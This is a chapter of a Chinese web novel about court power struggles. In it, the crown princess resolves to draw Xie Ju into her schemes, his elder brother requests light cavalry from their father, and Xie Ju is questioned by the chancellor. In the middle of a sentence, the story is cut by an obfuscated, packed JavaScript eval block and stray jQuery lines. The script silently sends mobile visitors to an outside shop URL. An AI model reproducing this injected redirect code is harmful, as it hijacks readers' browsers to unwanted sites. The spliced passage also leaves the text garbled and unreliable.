这是两回事，盛尧在雪地里站了一会儿。


    手里握着卷刃的佩剑，看着地上的断梅和乱雪。


    其实半个时辰前，她从西偏殿急吼吼地冲出来找他时，并不是为了安抚他的“皇后”名分。


    半个时辰前，西偏殿内。


    老先生跪坐在席上，面前摊开几枚木制的兵马。盛尧坐在他对面，刚才那节关于行军生灶的课讲完了，两人却不曾动。


    “殿下觉得，为人主君，选择将领的时候，什么最重要？”常柏问她。


    盛尧想想：“智谋和才干吧。像古之韩信、白起那样。”


    常柏点点头，又摇摇头：“智谋才干，可以，但不足以让主君安枕。”


    “那就是大义和忠诚？”盛尧又问，“师出有名，或者是世代忠良呗？”


    “最好有。”常柏苦笑一声：“没有的也很多。”


    她就是那个“大义”本身，可她现在也不过是个空架子。


    “看人，”盛尧双手一拍，“军权是由人组成的。”


    常柏好似对她的颖悟十分满意，提起旁边削兵马剩余的树枝，


    “好似殿下种一棵树。根部初生的时候，或许依赖土壤肥沃、树种优良，也就是才能和德行。但到了大成现今这般枝繁叶茂，盘根错节……”


    老者将枯枝折断，把两个断口搭在一起。


    “在于‘关系’，和私下的交易。”


    盛尧想起前几日在酒楼里“卖官”，想起跟乌远的那些黑话。


    “啊——就是……生意？”


    “差不多。”常柏道，“丞相能压住众人，因为他是这棵大树的主干，所有的养分都得经过他。”


    “为什么立您为储，天下议论纷纭，但您身边的都中公卿却不敢异议？因为中都安稳，经营多年，大家都有姻亲把柄，都盘在这一张大网上。”


    老者又说，


    “方圆攻取，战阵杀伐，是老朽所长。这些细微的伐谋递交，我却不如人。但殿下颖慧，想必知道什么才是维持现今中都这棵朽木不倒的钉子。”


    盛尧盯着那断裂的树枝。


    自己在西市酒楼的那场“黑吃黑”。乌远把钱给她，就是因为觉得她在“谢家兄弟争权”这个巨大的关系网里，占有一席之地，能给他提供“保命”的价值。


    没有大义，没有忠诚，甚至连对方是谁都不知道，但这笔买卖，却做得最是牢靠。


    很是。她点点头。


    “那么，现下谁在这关系和交易的正中间呢？”常柏看着她。


    盛尧：“我。”


    “我是这朝中最奇货可居的物品。谁拿到我，谁就有了‘大义’的招牌，可以去做更大的生意。”


    轮到常柏惊讶了，对于她的通透。


    “至于关系……”


    盛尧说，“是谢琚。”


    “他是谢巡的儿子，谢充、谢绰的弟弟。在谢家的内帷，也在皇家后宫。现下是士族的议论中心。他就是朝中一个死结。只要拉动这个结，整个网都会跟着抖动。”


    “如果我只把他当个疯子养着，那我就是真傻。”盛尧跳起身，跺跺跪麻了的腿，“先生说得对。要想动这棵大树，我得拽动这个死结。”


    她要把他拖下水。


    让他不能再在岸上悠闲地看戏，不得不和自己绑在一起，来换取她的生存。


    盛尧回剑反鞘，咔哒一声。


    冬狩时，谢氏中都军的精锐威武，实在很是令人羡慕！与常老先生习学时，便常常幻想，能指挥这样的军队，是个什么感觉？


    我也想要。盛尧琢磨。


    既然我这个“货物”都准备好，


    盛尧提起裙摆，踩着落雪梅花里谢琚留下的脚印，一步步跳着往回走。


    那咱们这笔买卖，就已经强买强卖，钱货两讫了。


    *


    不过，这支被皇太女心心念念、视作精锐的中都军，此刻在司州外，却并没有她想象中那般威风。


    司州东北，与岱州接壤处，古称平原津。说的是地势从此由平衍转为崎岖，太行余脉如断裂的脊骨，自西北斜插而入，将本来开阔的原野切割成几块。


    平原、阳邑、临墉三城，呈品字形扼守在这山川孔道之上，互为犄角，正是进可攻、退可守的兵家要地。


    皇太女公开宣抚流民之后，抚军将军谢承统领五千步骑，顺势奉命“护送”流民至此，其实意在屯垦，抢先压制东进岱州的粮道咽喉。


    可钉子钉得极为艰难。眼看就快要到春天，水系解冻，凌汛未至，两岸泥涂就已深陷马蹄。谢承大营扎于阳邑城西三十里的古渡口。放眼望去，不见一丝人烟。


    田昉自不可能如朝廷诏令那般割让城池。三城城门紧闭，吊桥高悬。城头上，岱州旗帜猎猎作响，垛口处戈矛森然，俨然一副守势，绝无半点交割的迹象。


    城外更是荒凉。方圆百里之内，村落皆空。井被填埋，屋舍焚去顶梁，连田垄间的沟渠都被挖断。


    原本应当返乡复耕的流民被谢承大军带到此处，面对的却是一片焦土。无片瓦粒米，只能依附于谢承军营旁，勉强搭建窝棚度日。


    这是最彻底的坚壁清野。田昉将百姓驱赶，物资也收拢入城，只留给谢承一片白地。


    谢承为人持重，此番本来兵马不多，便命军士依山傍水，修筑坞堡，就地作长久屯田之计。


    然而粮道依然不靖。


    谢承站在辕门刁斗之下，一身铁甲被霜汽洇得发白。


    他是谢家的大公子，过继而来，长得不似二弟那般阴鸷，也不似三弟那般儒雅，更加没有四弟的俊美。


    他生得张宽阔的大黑脸，满脸络腮胡，身板像是一堵厚实的墙。若不穿这身将军甲胄，活脱脱就是个关西的老农。


    此处是要道隘口，山林茂密。每当麾下军卒与流民出营开荒、伐木或汲水时，林莽间便会传出唿哨。


    袭击者不着甲胄，皆作绿林响马打扮，并不正面对抗，只在山林边缘游走。见军势大则散入深山，见落单军卒或运粮小队便一拥而上，劫掠杀戮，来去如风。


    旬日之内，谢承军中运粮队被劫三次，负责督导屯田的校尉在巡视时被冷箭射杀。新开垦的荒田，夜里常被人毁坏，甚至在水源中投下死畜粪便。


    军中不胜其扰，士气渐低。谢承虽有五千精锐，但多为中都步卒与重甲屯骑。步卒追不上响马，重骑进了山林便是寸步难行，反倒成了被袭扰的活靶子。


    要破此艰，非得有一支同样来去如风、善于山地奔袭的轻骑不可。


    中都兵马，唯有“越骑”校尉所部，马匹多选自河西、代北，兵士拣选自内附的山越瓯越之民，皮甲贯矢，最擅长山地驰逐与奔袭，以此能制响马。


    但越骑，如今握在他三弟谢绰手中。


    谢承眉头紧锁，沉吟良久。


    长子掌外阃重兵，次子掌都畿监察，三子掌禁卫宿卫。互为犄角，也互相牵制。如今长子若要调越骑，便是要打破这层平衡，向中都伸手。


    帐外风声呼啸，悬着的刁斗铿锵作响。


    谢承不再犹豫，铺开素帛，提笔疾书。


    “儿承顿首。自引军至平原津，田贼坚壁不出，尽毁野庐。贼以响马游骑，日夜袭扰粮道，毁我耒耜，杀我耕牛。儿所部多重甲步卒，虽勇而拙，难收全功。


    “今屯田未成，粮草日耗。追之不及，纵之则患。久待恐生变数。恳请父亲速调越骑精兵三千，星夜驰援。儿当率之扫荡群丑，以安侧背，是矣早图大计。”


    写罢，谢承掷笔于案。


    “八百里加急，即刻送往都中。”


    亲卫进帐，谢承将封泥封好的竹筒递过去。


    *


    送入都中，自然不进宫门，直接去了相府的案头。


    消息像长了脚的风，转个弯就吹进了谢琚的耳朵里。


    谢琚正坐在别苑西厢的廊下，手里拿着一把干草，漫不经心地喂只从猎苑流民营边上捡回来的白兔子。


    “越骑。”


    青年低声重复。兔子嚼着草叶，三瓣嘴动个不停。


    大哥也是


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16968073|188915||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    被逼急了，居然开口向三哥要兵。越骑一动，都畿宿卫就空了一角。若是不动，平原津的钉子就扎不下去。


    谢琚拍拍手上草屑，站起身。


    “回府。”


    马车没用东宫的，只点了丞相府自家的几名侍卫。


    谢府在都城最显贵的尚冠里。门前的积雪扫得干干净净，乌漆门楣油光发亮，看着比人还要体面些。


    谢琚下了车，拢着狐裘往里走。府里的下人见了他，不敢怠慢，纷纷垂手肃立，也没人敢拦，任由他一路穿过前庭。


    腕间的铃铛叮铃作响，在这幽邃的宅邸里，显得很是奇特。


    他没去自己的院子，径直去了父亲的书房。


    房门虚掩着，透出一股浓重苦涩的药味，混着沉香，熏得人脑仁疼。


    谢琚站在门口，手指在门上停了一瞬，直接推门而入。


    屋里很暗，大白天的也拉起帘幕。


    谢巡就坐在书案后。


    这位权倾天下的老人，没穿朝服，也没披甲胄，只穿着一件半旧的深色常服，看起来瘦得有些脱形。手里正拿着那个竹筒，听见动静，也没抬头，只把竹筒往案上一扔。


    “回来了。”


    谢琚点头，寻了个最暖和的所在——离他爹最远的那张软榻，顺手拎过旁边的暖炉，挑起火签。


    “父亲。”


    “你大哥来信了。”老人说，“要越骑。”


    “大哥打仗，要兵也是常事。”他随口应道，“父亲给他就是了。”


    谢巡不置可否，目光在小儿子过于昳丽的脸上转过，瞧见那个有些扎眼的青珊瑚耳坠。


    “你那皇太女，怎么样了？”


    老人问得很随意，像是在问养的一只猫儿狗儿。


    谢琚躬一躬身。


    “吵。”


    他皱眉抱怨，“能吃能睡。前两天为了几千个流民哭得鼻涕一把泪一把，总逼着儿子吃些乱七八糟的东西。傻得厉害。”


    又像是想起了什么极为糟糕的回忆，补了一句：


    “……还一身猪味儿。”


    “傻？”谢巡面色冷淡，“能在猎苑里逼着老夫撤回射声营，演一出‘驺虞不杀’的戏码？”


    “那是有人教的。”谢琚甩锅甩得行云流水，“北方高将军授意，姓庾的野……庾澈，还有姓常的老头。一帮子唯恐天下不乱的人，把她忽悠得找不着北……”


    谢巡沉默片刻，似乎接受了这个解释。


    “流民，你想办法让她安抚住。”这老父亲警告，“老大在前头打仗，后院不能起火。她想做好人，就让她做。想借猎苑，也随她。”


    如果没有人在背后推波助澜，光凭那个唯唯诺诺十年的小丫头，和庾澈那个外人，做不出这么大的动荡。


    但她那些把戏，区区数百新兵内卫，招揽些败落人物，与中都的坚利兵马相比，着实算不上一点威胁。


    老者起身，伸出枯瘦的手，拍拍谢琚的肩膀。手劲儿很大，沉重，宛如要将父亲的意志压进他骨头里。


    “小打小闹。”谢巡沉吟，“你由着她，别太过火。折腾些名声出来也无妨。”


    老人靠回榻上，缓缓闭眼：“太庙里的泥塑，还是个女孩儿。金身塑得太厚，容易压垮底座。毫无威严，也震不住公卿。你自己把握分寸。”


    不能没有，不能太多。傀儡若是握住了刀，第一个便是要砍向提线的人。


    谢琚坐了一会儿，便站起身：“父亲若是没有别的吩咐，儿子就先回去了。阿摇还在等我用晚膳。”


    他转身欲走。


    叮铃。铃声在门口停住。


    “季玉。”谢琚脚步一顿，回过头。


    “父亲还有何事？”


    沉默。屋内炭火烧得旺，将浓重的药味蒸腾得更苦了些。


    “这些年……”


    谢巡睁开眼。青年敛袖肃立，看起来挺拔恭敬，耳上却悬着青珊瑚坠。这是他最聪明，也最“没用”的儿子。


    “这些年，”


    “你装得好。”